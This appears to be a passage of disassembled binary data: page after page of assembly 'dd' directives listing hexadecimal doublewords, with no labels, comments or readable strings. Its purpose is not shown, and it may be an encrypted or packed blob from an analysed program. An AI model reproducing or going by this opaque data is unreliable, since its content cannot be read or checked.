		dd 0E4717B04h, 0C9D8D161h, 0A472F9h, 628D9519h,	0BC89551Fh
		dd 201D06B8h, 12016A4Fh, 0AB7F1C5Eh, 9D68DB7Ah,	0D288D694h
		dd 9006E003h, 258978E5h, 0E8E4D7E6h, 0A0B4352Bh, 0D6056D04h
		dd 0FC93BCBCh, 0EE9C25C4h, 6FB144A8h, 92DBA2Dh,	857071C4h
		dd 9429A2E7h, 4884AB84h, 80F4DBFAh, 0EEB273D3h,	0EA042C9Eh
		dd 1EE01C2Fh, 0BC5C16F5h, 1684B148h, 2782022h, 77D98BD4h
		dd 6675091Ch, 32921664h, 9EE8E0FAh, 0F2702505h,	2FFED604h
		dd 252318h, 70AC575Bh, 8401F742h, 6F2D2ABDh, 23A5DCAh
		dd 2697AD14h, 0C09CCD5Fh, 0E88DDE59h, 1DDA7909h, 0A8825534h
		dd 0E47563F6h, 0F05B956Ch, 73CCFF70h, 636F1FEBh, 0DC53C1DEh
		dd 0C23A4B1Ah, 1347E09h, 1785D234h, 7C9B6FB8h, 0D0A8FE80h
		dd 0E0049104h, 3F82A10Bh, 0A3036D00h, 4D978A1Ah, 93156020h
		dd 5C0BAF85h, 80DFEC76h, 95AAE590h, 0F8E9BF32h,	28C449Eh
		dd 0DF929994h, 0FE3087DDh, 0FD6500E8h, 664A9501h, 9491344Bh
		dd 7ED21E97h, 4848DC54h, 2A10396h, 0C286CFFBh, 1A6CC065h
		dd 405D820Dh, 0D6E2330Ch, 0B89CED60h, 1DD005Fh,	40638D1Fh
		dd 15F26CE1h, 7290E44h,	433611BBh, 0F2C830C0h, 79958660h
		dd 1822F9CCh, 0B401002Bh, 1BF0BA5Ah, 914F702Ch,	0E73A70A1h
		dd 0D49A4B70h, 0C6350680h, 0FE09ACB0h, 58EDA26Ch, 0B8930F5Ch
		dd 9149DDC2h, 5B4B485Eh, 80EB70F8h, 0F835201Eh,	3CEAD6C7h
		dd 849A048Bh, 105CCAEBh, 0E06F1B8Ch, 0A608973Ch, 6A48E1E4h
		dd 9084BC30h, 0B0DB9F9Ch, 29204071h, 1351014Dh,	0D8210372h
		dd 0C5E871AAh, 0B936013Ch, 5E8CD0DEh, 4A24A33Dh, 13E0D0B6h
		dd 0DDB8CDF7h, 7EEC8D03h, 890FA99Fh, 0F23A06D3h, 85CCC074h
		dd 1850E623h, 88C10AA9h, 18BF6A13h, 97CC8EACh, 7D0188B8h
		dd 0FC926A25h, 447B2F84h, 0C7183059h, 12EB660Eh, 8A003249h
		dd 5294D3CCh, 94325172h, 9A4E62Ah, 0D8B1AA6Fh, 840997A0h
		dd 467EACFCh, 1365822h,	34F37145h, 0E92089CBh, 7461B57Bh
		dd 0F067D076h, 5A9FF748h, 0E84B94E2h, 2C5D203Ch, 2410048Ah
		dd 4E3A105Ch, 940010B2h, 9A7E80D3h, 2801442Ah, 58DA8AECh
		dd 0CD301FBAh, 0A29C18Ch, 3FCAF0C9h, 4A07B0F4h,	5AB0F69Ah
		dd 0DA259CE6h, 8A20FC44h, 40B49E33h, 5A084FECh,	1F0B027Ah
		dd 5E2B9917h, 6CD12DACh, 5F4D0C00h, 78E0D274h, 0F9B31C19h
		dd 0F8C8418Dh, 0D0342965h, 974B078Eh, 20B260C8h, 0C9B5F055h
		dd 89A6E7C4h, 0E8720934h, 5448157h, 69A61993h, 0F6B7009Ch
		dd 0AC390FDAh, 13FD8300h, 3605CBAFh, 30DED4A9h,	0FDE9F728h
		dd 7DECF32Ah, 0B79E8918h, 0FB5A9720h, 48FC026Fh, 307A12A9h
		dd 8D3C2700h, 74AF62DCh, 48899769h, 2E91C856h, 4476D040h
		dd 83887A6Bh, 0B26C0DC4h, 2AD828F5h, 9D00F4F2h,	76434468h
		dd 7F1241B8h, 88042BA3h, 6309DD42h, 5144CC5Ch, 14B7D840h
		dd 800A821Fh, 2CDA64DFh, 0E782D41Ch, 0A42531C2h, 0D86092F0h
		dd 719F6F3Ah, 0E983234h, 0B5620C5Eh, 529503EAh,	445CA1D4h
		dd 846EFE78h, 1D267200h, 83C6211Fh, 16823419h, 9CC08721h
		dd 48374CD8h, 48F55D10h, 0C6FE0BA8h, 0FBD4ABEBh, 9BE57014h
		dd 0D3093816h, 2E76E404h, 35C91E42h, 0E4D6785Eh, 61D70027h
		dd 0ECDBE5CCh, 0FE13D0E1h, 6BAEA301h, 8C24074Ch, 0D3514E5Ch
		dd 0C0483C4Ch, 6524A0C7h, 0D4467DA1h, 451088B8h, 0D8CF4AFFh
		dd 89DAF00h, 0FD977876h, 0B08A0186h, 6691B6C8h,	0D8F72EE2h
		dd 137F9D05h, 64400961h, 6A623082h, 91447E2Fh, 8EEB369Eh
		dd 282ED3D4h, 9D003623h, 1B08B31Fh, 4C5E3927h, 407ADC50h
		dd 37600C49h, 2F46C51h,	702AF646h, 8DBD003Fh, 0A1DF249Ah
		dd 785CC6C2h, 591D049Ch, 28AE46DAh, 49EB328h, 92B467Ch
		dd 8F46CB07h, 3BD525D4h, 2081DC34h, 0E72AEE6Eh,	0AC2F4B68h
		dd 0C1042A23h, 60C107D2h, 9B7B2C04h, 1F44849Ch,	404420BFh
		dd 3401500Eh, 0F10F8B19h, 5A8037A1h, 0DD15EFE5h, 82B7DCCFh
		dd 0D79F7280h, 0F0CC039h, 0AFC0DDC8h, 7946C8Ah,	71F47ED1h
		dd 52B3F238h, 1551F85Ch, 0C0489E3Fh, 0C2C9BECFh, 908E0206h
		dd 2A5AA10Bh, 665824FCh, 0AC0E4A9Ch, 8C2BECC4h,	626FE004h
		dd 0D2EA2A95h, 7C4D9D3Ch, 0D115FCE0h, 0EFFF0077h, 8206D2E7h
		dd 0BE0B79E2h, 5C537AF7h, 0B5574BDCh, 8F003884h, 0E85F7E5Ch
		dd 7AE5914Eh, 1CAE1412h, 0E0D5021Ch, 8BDF36B9h,	70C8F370h
		dd 6F1F0BB2h, 6125A26Dh, 302F7758h, 0BC8D9B1Ch,	0C6DF1425h
		dd 0B4E127F0h, 0FF65AC5Eh, 84073CACh, 0EB9593CCh, 9F351C40h
		dd 0AD3487B5h, 8B108B82h, 0DCE0DED8h, 6B4D321Ch, 20DE1E4Eh
		dd 2B0D53ACh, 0A83369D2h, 0FC53451h, 4905DCA9h,	0ABD2DFh
		dd 9834AE97h, 800061B4h, 0ADFE0B50h, 13494D67h,	0B8AA6D46h
		dd 2E7E803Ch, 289730Ch,	57CCC6A5h, 7260F139h, 0D498AF11h
		dd 94906401h, 3D5A01BEh, 40A0B33Ah, 2894F18Ch, 0A9FCC480h
		dd 9F7285C5h, 3234C1h, 0B5C3736Eh, 342E0C64h, 3A40BCB9h
		dd 270D9E84h, 6404EAA1h, 7C34AE87h, 82B860E9h, 0E192B225h
		dd 856B6D14h, 853AB2Ch,	4646EAAh, 29D7187Fh, 0B94081AEh
		dd 0F42202F6h, 0BB9250h, 1B09236h, 421E34E8h, 6580FC4Eh
		dd 8DA02599h, 40E49E5Fh, 1FC09DD5h, 14ACDD00h, 2101EFC1h
		dd 642B127Dh, 0AB70B887h
		dd 0A4E84900h, 0B7B6E303h, 10041E4Ch, 0C80A3FEAh, 27B0B991h
		dd 30C018D4h, 80D93689h, 8B976CDEh, 64FCC740h, 0B39A603Ch
		dd 9C7B9526h, 166A1BD0h, 18A14A01h, 0CAA98A34h,	0B220629Dh
		dd 1A1CC0E0h, 0C75582E1h, 6136C49Ch, 15D59201h,	2497030h
		dd 0A6854A4Eh, 2CE83862h, 0EC25939Bh, 25105602h, 0EDCB454h
		dd 71D150C0h, 9AD767A9h, 0ACD180h, 0EF5A594Ch, 0C70095ACh
		dd 0DFE74D55h, 4A3DCBA0h, 0C34C4E22h, 8382248Eh, 33E11BBBh
		dd 302394h, 0E8E3ACD3h,	1EB345Eh, 0F5810FFh, 25971887h
		dd 40206A18h, 0D47016h,	0E756D142h, 3529B9CBh, 284C301h
		dd 38CD10F0h, 6DF89831h, 5C31EC78h, 0B71F5455h,	9C644BCCh
		dd 9741605Eh, 141765BDh, 9A3B3921h, 0A0968FF8h,	180D7068h
		dd 1591285Fh, 29E0074h,	0BCA65440h, 7802CFF0h, 9F5D6171h
		dd 7335E010h, 0C58700AAh, 27645312h, 52049592h,	943DA6CFh
		dd 8DABA8C1h, 0CF2CDA3Eh, 74FA7229h, 2E708930h,	7CE0ACF6h
		dd 9C9864B4h, 0CC0B564Bh, 70545B9Eh, 0B5302CECh, 5E98B1EFh
		dd 20B10540h, 0AFE6C606h, 0B044A42Dh, 36A9E480h, 58C795E0h
		dd 6F51C718h, 26C134A2h, 1F78C040h, 49C21816h, 7D86AE85h
		dd 7EC8E469h, 4D962431h, 0EBFCAC04h, 9445358Bh,	0E86025C4h
		dd 9F023BC2h, 0AA6E9712h, 3B3CD691h, 69784381h,	6FBB8B7Ch
		dd 0E7BAE0DCh, 8F7F6982h, 5E6420h, 82E5F950h, 3966E440h
		dd 0A59865B5h, 2D4D074h, 42AAA20h, 8B7F02B0h, 6BF45690h
		dd 2CE4F065h, 6211B360h, 5C1F585Ah, 0A3ED9C2h, 3C1D5F1Dh
		dd 0A7802711h, 0F2DA3F3h, 0F2BBB004h, 0E8F8465Bh, 0A87AAB05h
		dd 0ACDAAA8Dh, 2CE3A0C0h, 175CC84Fh, 82E715E1h,	330F84A8h
		dd 9A3CCCBBh, 9390D752h, 32960804h, 0BCD47CB8h,	22A9C3C0h
		dd 0F50E121Dh, 646EB4BBh, 3BFA1BCEh, 0C3123B8h,	1014F4B9h
		dd 0B4BCBC4Ah, 1DF7BEC0h, 0AE4A9B3Eh, 0C52A98F1h, 86EBEC8h
		dd 0B29DFE00h, 89239660h, 0C0D5D225h, 2DC26F8Ch, 9048F859h
		dd 55825B8Eh, 96F888C6h, 403165Bh, 5A92BB6Fh, 0B8F8BDF1h
		dd 955112ACh, 26DF094Ah, 66134822h, 751CB27Dh, 0AC68A04Dh
		dd 73C7E9EFh, 18255934h, 0A9A3019Fh, 0B1B6EA3Fh, 8C68C6h
		dd 0DB6A30A8h, 126DCE98h, 0B249E583h, 3027F21Ch, 25F8E8B3h
		dd 0CE8A2107h, 0AB392BF2h, 0D6445604h, 7E2546h,	1BFF14Dh
		dd 0AA6097D0h, 784B91FCh, 0E22A388Dh, 832F8804h, 49C49734h
		dd 6D6BF2E8h, 6ABCE713h, 0D6891402h, 0B0395DC7h, 0FD94929Bh
		dd 0C1BC34AEh, 58027A7Ch, 8069D68h, 0BC9615D7h,	0ED462030h
		dd 0FCADB54Ah, 434B6600h, 7E2E70F1h, 0FC041902h, 60E132BFh
		dd 81D70EB4h, 59B9E01Ch, 11A41F9Fh, 4E9B8231h, 0C8D9C5h
		dd 16E057CAh, 6A81AF46h, 0B9C0172Bh, 95AB830h, 5632669Ah
		dd 19C36C03h, 0D4C8E04Eh, 0C0E43CBEh, 604D8900h, 103AF67Ch
		dd 0C15C02B7h, 0AE730526h, 4282803Ch, 35D611D1h, 7FC66F10h
		dd 3ADABE12h, 0AD6056AEh, 133B820h, 0BCA4A902h,	85C5B513h
		dd 9A6CCF81h, 0AD7898ADh, 97254204h, 0B707A478h, 0DF76DD1Ch
		dd 0E24E08A0h, 190D0042h, 30234A8Fh, 0D7E67191h, 179C5F00h
		dd 0FA8279F2h, 0AEEE00C2h, 0B4C898E3h, 2473B8C9h, 780F8700h
		dd 6922394Dh, 6C2809CCh, 2A80EB97h, 1611C67Dh, 92005EE4h
		dd 8129CF34h, 0D4034Ah,	5CBDB5A2h, 0A1251D91h, 5F0EEC78h
		dd 80AFD046h, 0F8D9D538h, 6F6B1E8Ch, 5BD1002Bh,	54E919A6h
		dd 0F5589103h, 0C888EB9Ch, 94CA0Ah, 18CB3384h, 3CC83169h
		dd 7AE88600h, 0FFDF16DEh, 0D2A41EC0h, 779400F0h, 2BDC08C7h
		dd 0D3130607h, 0BFE0BAB6h, 3F4148Ch, 55949F9Dh,	0EB90A003h
		dd 7900E842h, 4086E00Dh, 0BC0BE6h, 0BFDFE541h, 6660F7D1h
		dd 3A0AF200h, 23C00F24h, 0FE7100AFh, 86CFFEFh, 0DC00D3CFh
		dd 0CBC4E585h, 1CC50794h, 0C0E73AE6h, 0F8C21ECAh, 87006384h
		dd 8DD1230Bh, 1FD4E535h, 4096B116h, 73882721h, 18BC7CB0h
		dd 87F29780h, 9FE3A6h, 0C2FBD7B3h, 0B2CB7BA8h, 0FD769300h
		dd 8F2F67CAh, 0AF411489h, 340080B9h, 7A0D1EF1h,	7D98732Ch
		dd 0A91F2905h, 34F97B81h, 0AC9CE000h, 4F85D90Bh, 6AF85D0Ch
		dd 13B8B8h, 56B658A3h, 518C3A33h, 0D30E4B00h, 0F24E9C11h
		dd 71E93BEDh, 0D0D707F9h, 5305F6ACh, 19D09578h,	0DC90767Ah
		dd 0C3A6F203h, 0E03782FAh, 0DD72FFh, 8B4A87F3h,	354B1A13h
		dd 0F4671500h, 93E99060h, 0C50305A9h, 1D78727Eh, 8A4C40E0h
		dd 0D8DF3855h, 3BB73F00h, 679B7BC7h, 518D0323h,	181E90C1h
		dd 0DEEF42B8h, 0EB90897Fh, 0DB00618h, 886EB3F0h, 0A2009C18h
		dd 4787DB09h, 14F3BF6Ch, 9455ECADh, 5C036D00h, 2CBDC8Fh
		dd 2580C700h, 85ED74F6h, 6CDA00AFh, 0BCBFA207h,	77187A9Bh
		dd 41984E0h, 5A5201A1h,	339CBA15h, 0E49BE0D5h, 8EBF9E00h
		dd 0EDD1F712h, 0FEC0255h, 115AA621h, 0C214205Fh, 0F38C38h
		dd 0D547D7CDh, 0F52784FFh, 0F9A69F01h, 0EF02A1EBh, 0BB6A6980h
		dd 3AAB33B5h, 21F87D00h, 0CE97DF88h, 0AD8924B1h, 6C1C0050h
		dd 86FE5824h, 2A38491Ch, 0EC26CCCAh, 1E79A787h,	0FCFF6230h
		dd 0C009117h, 0B541EEDBh, 250C93Ah, 0BA4BAFB9h,	68CB7565h
		dd 0FF9F2580h, 0D1E13900h, 5DCDB2A6h, 0B74E06AFh, 0C564C26h
		dd 0D438FC00h, 88E4FF0Eh, 75F40F54h, 3D802957h,	0F7677610h
		dd 71D53Bh, 4245AC5Fh, 0E648D0Fh, 52D3A29Dh, 0DB8AB600h
		dd 6B3981E8h, 0FD3CC1h,	6D852C6Eh, 692E37h, 83073AEFh
		dd 0B97EEEA3h, 7019ED00h, 0A925DA40h, 10EA607Bh, 0CC3A8077h
		dd 0CF2ED701h, 52F8A1E3h, 2FC4CCh, 8A18C55Ch, 34EBAAABh
		dd 6D62B800h, 0CC98B3C1h, 8F3800D6h, 0B23AB665h, 50C97172h
		dd 937098F4h, 0E8240392h, 0A1B09BEAh, 0B8075683h, 31C3068Dh
		dd 11057A6h, 522163Dh, 0DCEEA4A1h, 6600F7F0h, 45234E53h
		dd 5983C84Fh, 0FD013C91h, 7F069E64h, 0D5F85054h, 4A0082E2h
		dd 0D5E1B47h, 7FB16E3h,	0B8207094h, 5C003978h, 0D4499C1Eh
		dd 3F95EE00h, 0A4D6C990h, 0A3D80536h, 76CD7Eh, 0AB8E68BCh
		dd 0C7070F30h, 0C80C572Ch, 0BA6E6C90h, 7C7A0098h, 5E5C9FF8h
		dd 8813085Bh, 8003BD2h,	0A9391A53h, 54D0C0AAh, 0CEE31B63h
		dd 46D20F00h, 4094DCB3h, 50FC00D7h, 1C6C6480h, 650178F4h
		dd 96489F4Ch, 3EE8DEBEh, 0F61B00D9h, 4B7669Dh, 0EE001A60h
		dd 91E7B5B4h, 28CA14A7h, 4088D6C1h, 0BDF21A8Dh,	1223A138h
		dd 5000BA70h, 30C27BE0h, 196890B1h, 200B3C14h, 0A81DE4A9h
		dd 0C6EAD900h, 7D36B4B0h, 0DCE83D1Ah, 0C298A500h, 43E0F416h
		dd 37A2DB3Fh, 6AAC11DDh, 1712007Ch, 0B1348752h,	0CAE00EA7h
		dd 48F140Fh, 0FE6A4016h, 0F1F382h, 0D9C9F642h, 0DDAD253h
		dd 5BBFA0Eh, 0A50860E8h, 16941004h, 183C2h, 0AEBC0A54h
		dd 0CCB2A190h, 3A8AEA00h, 9F4E1DDDh, 45E1008Dh,	0AE05D446h
		dd 0F0EB639h, 609C6F50h, 1F945571h, 0F634016Ch,	0D1FA8A41h
		dd 0C88020ADh, 0E725C00h, 8C96677h, 7E734Ch, 0D5B6631Ah
		dd 1F9B78B3h, 95FC2F00h, 398E3B43h, 107000DBh, 0A6AFA5F2h
		dd 3700E4EFh, 47BC159Dh, 813EBFh, 0B0EDE190h, 192EA0EEh
		dd 42A1200Eh, 651A0044h, 0F72FA6h, 21DE88C7h, 4F7793E0h
		dd 0F5E91100h, 0A496BB03h, 0F06A0033h, 0DB48659Ch, 560052A8h
		dd 23508FF2h, 0EBCBCAh,	0FF010D7Ah, 3CA83FBFh, 5A914600h
		dd 2E168C55h, 4F491D6Ch
		dd 0C19F0B8h, 0AFFC4A99h, 27ADBD00h, 0B93F7C04h, 2276001Eh
		dd 0B51C8836h, 100B638h, 417F2166h, 0C1939h, 254B8C6Ah
		dd 3CD4ACB0h, 0EC0B20B0h, 0E4EDA0h, 2A86C2DBh, 0AE9B01FFh
		dd 9734DBF5h, 7D73F441h, 0E77D837Dh, 0F675A700h, 92D3441Eh
		dd 5F9F2CC8h, 7D714050h, 0C6001305h, 0EA17C18Dh, 0F5FDE1h
		dd 126759A1h, 0B93AA6FAh, 0DFDACF26h, 0C199E401h, 0F86D0121h
		dd 0D0AE5000h, 0DE0A1176h, 0F41E1200h, 83FD08F3h, 0A6EB0093h
		dd 0E49793Bh, 6F0FAF47h, 0A0CFF910h, 0B6D81D74h, 0B07A5Dh
		dd 29E6E0DFh, 619FCA18h, 0A22F2C02h, 0E0324D82h, 1F6F6CA1h
		dd 49B69623h, 807E199Dh, 1624B080h, 3A6E4959h, 0A296BB97h
		dd 957CA0FFh, 3410C362h, 80B32777h, 72A6327Fh, 91182000h
		dd 0B2A2946Bh, 1D4200A8h, 0E8DF63E9h, 4501F466h, 8D806437h
		dd 302012B0h, 26E05CEh,	0A0DE3276h, 597A6FE0h, 3DB9F3Ah
		dd 0E28C630Eh, 0B6980E61h, 7CC0F666h, 59ABC302h, 1B9D7714h
		dd 20C8305Ch, 4E2AB694h, 65F8B419h, 9B0EFD18h, 7EB57650h
		dd 0C0D20008h, 797CB936h, 1D00975Ch, 0F1B46C73h, 3E8A9E22h
		dd 2500AE92h, 41B1F0Ch,	9800872Dh, 0F9314415h, 997A6Dh
		dd 0EAAD27FAh, 0BD05407Fh, 54ACAF00h, 3D802EDh,	0F5091CE4h
		dd 0C232C746h, 0DBA720A5h, 717DD50h, 60A8781Bh,	0D0F216C9h
		dd 0D001E800h, 921DA502h, 6AAA3AADh, 13756F03h,	8888C6B7h
		dd 70004064h, 0AD9D8462h, 9CB3C38h, 6D873ABDh, 850BAC52h
		dd 5A2BFE96h, 0BE83136Ch, 0ED30C3A2h, 7D2D05A9h, 440F3B44h
		dd 0F3F600D6h, 229B3721h, 0C6008510h, 0E76438ECh, 14B232E9h
		dd 8C52C381h, 0FA31007Bh, 3A279F7Bh, 2907DC8Dh,	0EF41C237h
		dd 4B209933h, 463CB060h, 0DCB08D4Fh, 0FF8B0107h, 2A977F9Dh
		dd 18006B1Ah, 0EAE8567h, 87A0CF2Fh, 249D0AC0h, 0C25C7FEh
		dd 0F4A87479h, 0D9CE051Eh, 0B0466182h, 0DF44623Ch, 0F6983Ah
		dd 8D700D4h, 79DD8546h,	0B239775Ah, 0EDA2237h, 91D8E802h
		dd 9989B687h, 672D1078h, 40D47E63h, 95CFC193h, 32973E09h
		dd 8022F712h, 6D7D35FCh, 5C2260F0h, 0AC3BA5C7h,	853A84B7h
		dd 80E882BEh, 0DF0CF2Fh, 10FCF0D2h, 132433A2h, 56F488FEh
		dd 0CA40EEF8h, 0F2E25B34h, 6AB70E88h, 0C303031Eh, 2B26F8CDh
		dd 832C0134h, 54C47877h, 9E64BB74h, 0F10B866Ah,	3907E02h
		dd 5D233FFh, 74E1E95Bh,	6C7A6Fh, 3626711Bh, 5B53F74Bh
		dd 81F487BAh, 6FCC9289h, 3CBF60D4h, 0B784A300h,	0DD917495h
		dd 0F517680h, 8E136573h, 2CE85244h, 0C59A9480h,	9D126C35h
		dd 24E2677Dh, 77C90E00h, 0E1FC0299h, 9349741Eh,	0A7A0C340h
		dd 7F3CEF7Ch, 0B0A948ABh, 2C6E520Bh, 1DED05Eh, 7AB73A62h
		dd 6A57A00Bh, 89DFD4A0h, 65E92A84h, 85225000h, 0D57F929Fh
		dd 1F828900h, 0FD59EBF8h, 0F28B0B66h, 37F79061h, 0BEF200FBh
		dd 8D890BA3h, 72FC215Eh, 97EBF95Eh, 5DDC22EAh, 0CA197EC0h
		dd 0E2AA8300h, 0B788271Dh, 0A1130754h, 0C2617D49h, 0F8559D09h
		dd 0A95B5FE9h, 0DE8B840Ah, 4E35E6EAh, 2613FABh,	0D92EB351h
		dd 0F75157D4h, 8BFF6A00h, 0DD0255BDh, 3DB5C65Ch, 891C0C1Ch
		dd 19334D9Dh, 42AC295h,	30B0BFE9h, 0DBB7180Fh, 859DA4B0h
		dd 0CC20086Ch, 0E62B4075h, 61F9705Fh, 71E4D980h, 7D37BD89h
		dd 91626923h, 62F15F26h, 0B231E41Bh, 0DB74888Bh, 0B6C4FE1Fh
		dd 0E2BBF5C8h, 1A475018h, 0C18340DDh, 0A1DFBF0Fh, 0B07F04E8h
		dd 73615603h, 0BDCCF30Ah, 2E2F7E8h, 53C82BF8h, 25878D0Fh
		dd 110E6D29h, 41D18BC3h, 9204158Eh, 0D8EA17F9h,	0BE00A9E3h
		dd 6343D128h, 338AF21h,	739193CEh, 0A1A8DE71h, 851B8BC9h
		dd 20A116B5h, 0F3A0550h, 816ED088h, 0AEB7EB03h,	3607C083h
		dd 0E10CFBC4h, 281EA520h, 5390D03Bh, 0D8278A0Eh, 8932207Dh
		dd 951005B5h, 78CC7CFCh, 0FE204A11h, 31840221h,	0DA59517h
		dd 0C570FE15h, 95890109h, 46605E42h, 0BF6E00AFh, 439751B6h
		dd 0A3012609h, 0BE740B3h, 59205787h, 0E961375Bh, 0B58D002Fh
		dd 176EFFF9h, 2631C454h, 12296688h, 0EF0BEDBDh,	0E92A1699h
		dd 115FACA7h, 4A17860Fh, 0AF7852ABh, 90F9BA83h,	32A66A27h
		dd 3DEC207Ch, 0B9FAF998h, 0DD084125h, 0C547BF18h, 0FF2C72FCh
		dd 0D61CB882h, 77AC2180h, 51FC6280h, 0FFD2AA8Fh, 0BBC5FBEDh
		dd 0FC4656C1h, 745B92Bh, 0CCAB84B4h, 0F3FE7D40h, 2B23142Ah
		dd 0DA3AF8C0h, 0FDFCD2AFh, 25BF6DCh, 67EB8EE8h,	72A0771Fh
		dd 0A94C80C1h, 45969F00h, 2C5EDEE2h, 6CCE1EBBh,	0ADCC0173h
		dd 80D1C233h, 0E983D074h, 95F47504h, 73D64F76h,	0FE5B5068h
		dd 4107419Dh, 109490Ch,	0A93B880Dh, 48E0E836h, 1A227105h
		dd 805DE848h, 0BFEC30C8h, 539800A4h, 0C74A4302h, 0EA48CC61h
		dd 3B1D2277h, 69998B5Fh, 0A98D9D2Bh, 5508AC62h,	9D310210h
		dd 50071C39h, 18F1C2D7h, 8BCC103h, 4A98AB74h, 0C16EBF19h
		dd 2A857F00h, 7A10B225h, 0BA9A832Bh, 4A3DC778h,	5D40EEE6h
		dd 9F664492h, 5FD53A4Dh, 790BBF8Eh, 0A5BD83A7h,	0B688FB0Fh
		dd 0F93EE1A5h, 2B0BC3Eh, 0BD01608Ch, 12C41CF1h,	9024ED20h
		dd 97B0077Dh, 9B849FBh,	40204F5Fh, 919A12F9h, 8E7C9400h
		dd 0BB669697h, 0ED064C2Ch, 484DFF13h, 0E28113E5h, 0E6A1A659h
		dd 0FD1220h, 0C4BA725Ch, 0B2C0D6F8h, 69E33D04h,	0A6AEE1FFh
		dd 4122B2AFh, 0F7A4152Ah, 2FC10837h, 3D21B220h,	4968901h
		dd 0E07AED7Fh, 0FA67209Fh, 0E45AFF02h, 77BF28ACh, 210AECDBh
		dd 70CE3E1Bh, 0D7A77321h, 5980AA1Fh, 0BE6ED6AEh, 7E1E5C07h
		dd 0BB8024CFh, 0DA72BC90h, 30A10800h, 515D8D8Fh, 5881010Ch
		dd 5660782Fh, 89BC2F59h, 895F6180h, 58E19585h, 0F0980358h
		dd 0BFA3E561h, 67CCA02Eh, 4C8BE260h, 0C81D91D6h, 0D98C0B61h
		dd 0FEB7FDh, 0B7583948h, 2F0A90A4h, 0A0988340h,	0E042908h
		dd 8B6E180h, 0AF800B88h, 0BE3BBBA7h, 0FAF4044Ah, 0BE030E4Eh
		dd 0B90099F2h, 2C93B8E9h, 0C9500A61h, 1402FBBh,	8D331660h
		dd 8182401Dh, 0A5F432E1h, 1F61632Eh, 0BF0E350Fh, 5F355F65h
		dd 984580BEh, 0F23A960Ah, 75ED4CE7h, 827A4A58h,	0F1951A4h
		dd 56A98F33h, 1923C03Eh, 7E0D0100h, 7153E4Dh, 8B906AB3h
		dd 0AA92DEF9h, 87C3D79Ah, 0AEB0CA13h, 7495F90Ah, 0F03CBA03h
		dd 7A39BA03h, 5E594DE2h, 136802FDh, 55564FD2h, 7F0051D2h
		dd 0DA42A367h, 4ABA2A78h, 1005FE4Ch, 152050D1h,	1F5B62D9h
		dd 0DFE5CA33h, 81C03522h, 4089D4Ch, 264C9481h, 0A7EAA240h
		dd 6FC9717h, 0A2D802DCh, 0CA611DCCh, 0C3886350h, 0D92E4E9h
		dd 0D66F5C9Fh, 0D28A3F1Dh, 83B89A8Bh, 4AE2855Dh, 0CF6BBFA9h
		dd 5F96290Fh, 0D283AE2h, 0EF5DAC0h, 5AC2C781h, 0C3D69734h
		dd 491600D6h, 2E90FD54h, 8B68C738h, 1ABB845Eh, 60BBE6B5h
		dd 0C20DCDB5h, 2818519h, 1D25535Ah, 52AF1207h, 435C9F2Bh
		dd 0B99300DCh, 0FB8A2E32h, 4AB8BF85h, 2B82BE0h,	2B77A6EDh
		dd 324B6509h, 0B18750CFh, 0F8A6E2h, 5D35E14Ch, 0A1044809h
		dd 44689F0h, 0A29CB4AAh, 0C4BDFB03h, 0FC502B75h, 0A6BE4A84h
		dd 0DBCBB017h, 0B627092Bh, 0D301B449h, 2D1F319Dh, 20152EBh
		dd 0E165FD68h, 8AE6BFh,	994E9F11h, 0ABAA42D3h, 0B28C7A1Eh
		dd 523632C4h, 0E69C7880h, 815B005Fh, 9E022404h,	8009403Dh
		dd 1A8DDCC7h, 95D25084h, 0F549347Eh, 508079C5h,	0C797BB52h
		dd 0AE4E4A20h, 696C2D14h
		dd 0C54DD760h, 77C2A060h, 294C0C46h, 60FD09B5h,	0B2CB8A04h
		dd 0E3996154h, 0ACECA92Bh, 0FCDDE6A9h, 0E3F309DBh, 8A646C3Bh
		dd 28155E1Dh, 6E8EF5C0h, 4489166h, 5ACBDED9h, 0F3BE61h
		dd 116DB508h, 1A85C70Bh, 24D35D6Eh, 0F3CDD0h, 2CD4B823h
		dd 89B70669h, 0A688F695h, 2CD321A2h, 0AB439238h, 0F282DBDEh
		dd 7B5F3DE9h, 8E45D01Ah, 0D1503E07h, 3041F31Bh,	44C1110Ch
		dd 3DC101CCh, 0E6710E8h, 0E24C0702h, 3C5A5803h,	36EBE71Bh
		dd 6408BC36h, 1B2CDC73h, 28295066h, 58188121h, 5701139Ah
		dd 0A1C01B12h, 31982BC0h, 6FFB344Ah, 673F2EB8h,	4F158550h
		dd 0EB6FAF04h, 0FB80A600h, 494FBBDBh, 0E69AF4A5h, 625A4051h
		dd 8207982Eh, 657111h, 9A542036h, 3C24E243h, 8109AFF5h
		dd 0A0447FACh, 0BC867E95h, 65B9EC80h, 744A3E28h, 605CAB04h
		dd 83C1F025h, 0B6205FDFh, 0D2034C39h, 211D1292h, 8D3479D2h
		dd 8ADEB50Dh, 0B858AD2Ah, 3D360BE0h, 980D06C7h,	0AEB92B04h
		dd 0B902A7ACh, 2587E1Eh, 90515D96h, 7D50DE8Ah, 469A6980h
		dd 6FF5C9h, 0ACEE16B4h,	5752D6FAh, 49209598h, 8746CB95h
		dd 0FA565E46h, 6BEB4ABDh, 78C0017h, 0E38ED0CCh,	28864E0Fh
		dd 4F00DF70h, 0CF6CAAADh, 5BAACAEh, 804892FEh, 0B5BE04CDh
		dd 0D15B0A24h, 1110810Bh, 0C859FB5Eh, 4E800D38h, 7286488h
		dd 0E6C55800h, 6F71B2ACh, 0F3660BF0h, 83026B92h, 29000FF9h
		dd 0A82C2D95h, 9BC486FCh, 30B8F133h, 0C41A996h,	6ED7C92Ch
		dd 80B64CEDh, 0CF3CFCA9h, 0CE9F507Eh, 0C28319F9h, 31DA0C04h
		dd 9829CAD6h, 0D7BFE8h,	231420F6h, 0F971D46Bh, 0CA50893Ch
		dd 5B6BEEh, 0ADD61F80h,	5C46B24Bh, 3020700Bh, 0DFCF8102h
		dd 0C0333E11h, 8BBC23AFh, 0FC8C3E8h, 2FB8ADA1h,	12E8F7A9h
		dd 46A7940Fh, 0E216077Ch, 0A1EC82ABh, 845F061Ah, 0FDD2590Ch
		dd 9BF6257h, 3BFB3668h,	0DE9D6314h, 0AC737EC7h,	27235580h
		dd 48A08B0Fh, 0B9E3BB50h, 216FD526h, 0FD33AD89h, 61E1C2CDh
		dd 6A9D96F9h, 60504243h, 9684F2B1h, 0EC834009h,	0FC62BCA0h
		dd 1AE116EBh, 0DFD7145Ah, 82138828h, 283D0BB8h,	0B3C482F3h
		dd 4E0910B0h, 59F34423h, 1189212Bh, 769F4D0Ch, 2732C068h
		dd 0F100A057h, 0DBBCC7DFh, 5C0B3DCAh, 0B3C02E45h, 0BE7E8C66h
